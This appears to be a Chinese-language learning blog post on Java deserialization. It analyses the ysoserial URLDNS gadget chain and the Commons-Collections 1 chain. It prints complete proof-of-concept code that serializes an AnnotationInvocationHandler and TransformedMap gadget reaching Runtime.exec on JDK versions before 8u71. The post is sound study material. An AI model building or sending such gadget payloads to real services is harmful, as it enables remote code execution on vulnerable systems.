JAVA反序列化(2)

这篇是反序列化学习的第二篇

参考文章:P牛的《JAVA安全漫谈》 ,ek1ng学长的Java 反序列化安全入门——从URLDNS到Commons-Collections

URLDNS

URLDNSysoserial中的一个利用链的名字,这个ysoserial在我之前写的RMI小记中有说过。

这个URLDNS的参数仅仅是一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。

这条链是使用Java内置的类构造,没有依赖第三方库,同时也不需要漏洞点有回显就可以通过DNS请求来的值是否存在反序列化漏洞

下面是ysoserialURLDNS的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

来简单分析一下

利用链分析

首先可以看到它有一个geytObject方法,ysoserial会调用这个方法来获得Payload,这个方法返回的是一个对象,这个对象时最后将被反序列化的对象,在这里是一个HashMap

上一篇里又说触发反序列化的方法是readObject,因为Java开发者(包括Java内置库的开发者)经常会在这里写自己的逻辑,所以就会导致可以构造利用链

那么接下来就是HashMap类的readObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {

ObjectInputStream.GetField fields = s.readFields();

// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);

lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);

reinitialize();

s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

可以看到在倒数第4行位置将HashMap的键名计算了hash;

1
putVal(hash(key), key, value, false, false);

因为我的环境原因,没法debug所以就直接把一整个URLDNS的``Gaddet写出来了

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashcode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress
  6. InetAddress->getByName()

从反序列化最开始的readObject,到最后触发DNS请求的getByName的这一整个过程只需要初始化一个java.net.URL对,作为key放在java.util.HashMap中;然后,设置这个URL对象的hashCode为初始值-1,这样反序列化时将会重新计算其hashCode,从而触发getHostAddress,最后发出DNS请求。

需要注意的一些点:

  1. java.net.URL.hashCode == -1才会触发后面的动作,而默认计算出的值不为-1,因此需要通过反射手动赋值为-1
  2. ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀ 个SilentURLStreamHandler类,这不是必须的。

CommonCollections1

CC1需要JDK版本小于8u71

P牛简化版CC1利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}

如果是Linux/MAC系统的就把上述代码中的calc替换成本地的计算机路径,运行就会发现弹出了计算器:

unserialization_2_1.png

这个过程主要涉及到一下几个接口和类

TransformedMap

TransformedMap用于对Java标准数据结构与Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调,主要用于在Map中的数据进行转换的场景,提供一种方便的方式来执行转换操作。

在转换时,例如给Map添加新元素时,可以执行回调函数。这里

1
Map outerMap = TransformedMap.decorate(innerMap,keyTransformer,valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调,都是一个实现了Transformer接口的类。

Transformer

Transformer接口只有一个待实现的方法,在TransfoemedMap转换Map的新元素时,会调用transform方法,就ixnagdangyu回调,传入的参数是原对象。

1
2
3
public interface Transformer {
public Object transform(Object input);
}

在这条gadget中,用到了三个实现了Transformer的类:ConstantTransformer,InvokerTransformer,ChainedTransformer

ConstantTransformer

ConstantTransformer是用来在构造函数时传入对象,并在调用transform方法时将整个对象返回。相当于包装任意一个对象,执行回调时就返回对象,便于后续调用

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {  
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

IncokerTransformer

InvokerTransformer可以用来执行任意方法,这也是反序列化能执行任意代码的关键。

在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

后面的回调transform方法,就是执行了input对象的iMethodName方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
InvocationTargetException ex = var6;
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

ChainedTransformer

ChainedTransformer也是实现了Transformer接口的一个类,它的作用是将内部的多个Transformer串在一起。通俗来说就是,前一个毁掉返回的结果,作为后一个回调的参数传入

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

理解Demo

已经了解了这几个Transformer的意义之后,再回头看看demo的代码,就比较好理解了

首先是这两段

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

创建了一个ChainedTransformer,其中包含两个Transformer:第一个是ConstantTransformer,直接返回当前环境的Runtime对象;第二个是InvokerTransformer,执行Runtime对象的exec方法,参数是calc

这个transformerChain只是一系列回调,我们需要用其来包装innerMap,只用前面说到的TransfoemedMap.decorate:

1
2
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后就是向Map中放入一个新的元素来触发回调:

1
outerMap.put("test", "xxxx");

一整个链:

1
2
3
4
5
new Map
-> TransformedMap.decorate
-> ChainedTransformer
-> InvokeTransformer
-> Runtime.exec

真·CC1

然后就是完整的CC1 gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc" }),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

我在尝试运行的时候版本不行,然后去官网上找发现现在官网上最低版本的就是8u71所以没法复现了,就跟着那两篇文章来学习一下

首先触发这个漏洞的核心在于向Map中加入一个新的元素。在demo中我们可以手动执行outerMap.put("test","xxxx");来触发流动,但在实际反序列化时,我们需要找到一个类,它在反序列化的readObject逻辑里有类似的写入操作。

这个类就是sun.reflect.annotation.AnnotationInvocationHandler,然后下面贴一下P牛这的8u71之前的readObject方法的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
tring name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

核心逻辑就是Map.Entry<String, object> memberValue : memberValues.entrySet()memberValue.setValue(...)

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,在AnnotationInvocationHandlerreadObject中,便利了memberValues,并且调用setValue一次设置值,这里就会触发我们在TransformedMap中注册的一系列回调函数。

gadget中,AnnotationInvocationHandler是JDK的内部类,需要用getDeclaredConstructor调用构造方法,再用detAccessible设置为外部可见,之后用newInstance实例化对象。

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

因为sun.reflect.annocation.AnnotationInvocationHandler是在JDK内部的类,不能直接使用new来实例化,所以使用反射获取到它的构造方法,并将其设置成外部可见,在调用就可以实例化了。

AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个参数就是前面构造的Map

然后这个构造的AnnotationInvocationHandler对象,就是我们反序列化利用链的起点了。接下来通过下面的这个代码将这个对象生成序列化流;

1
2
3
4
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

然后跟着P牛将这几段代码拼接到demo代码的后面组成一个完整的poc。然后试着运行这个poc,看看能都生成序列化数据

unserialization_2_2.png

writeObject是出现异常:java.io.NotSerializableException: java.lang.Runtime

由于Java中不是所有对象都支持序列化,带序列化的对象和所有它使用的内部属性对象,必须都实现了java,io.Serializable接口,而我们最早传给ConstantTransformer的是Runtime.getRuntime()Runtime类是没有实现java.io.Serializable接口的,所以不允许被序列化。

接下来就是如何避免这个错误,我们可以通过反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类:

1
2
3
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc");

转换成Transformer的写法就是如下:

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc" }),
};

这个demo最大的区别就是将Runtime.getRuntime*()换成了Runtime.class前者是一个java.lang.Runtime对象,后者是一个java.lang.Class对象。Class类有实现Serializable接口,所以可以被序列化。

另外还需要注意,前面传入Retention.class和这里设置Mapkeyvalue,是一些特定的条件:

  1. sun.reflect/ammotation.AnnotationInvocationHandler构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名为X
  2. TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

从而使AnnotationInvacationHandlerTransformedMap.decorate走到我们预期的分岔。

然后最终就能在8U71版本前正常打通,而8u71之后的版本,由于AnnotationInvocationHandler发生了变化,不会直接使用反序列化的到Map对象,而是新建一个LinkedHashMap并添加Key进去,原来的Map不会执行set/put操作,也就走不到之后的回调了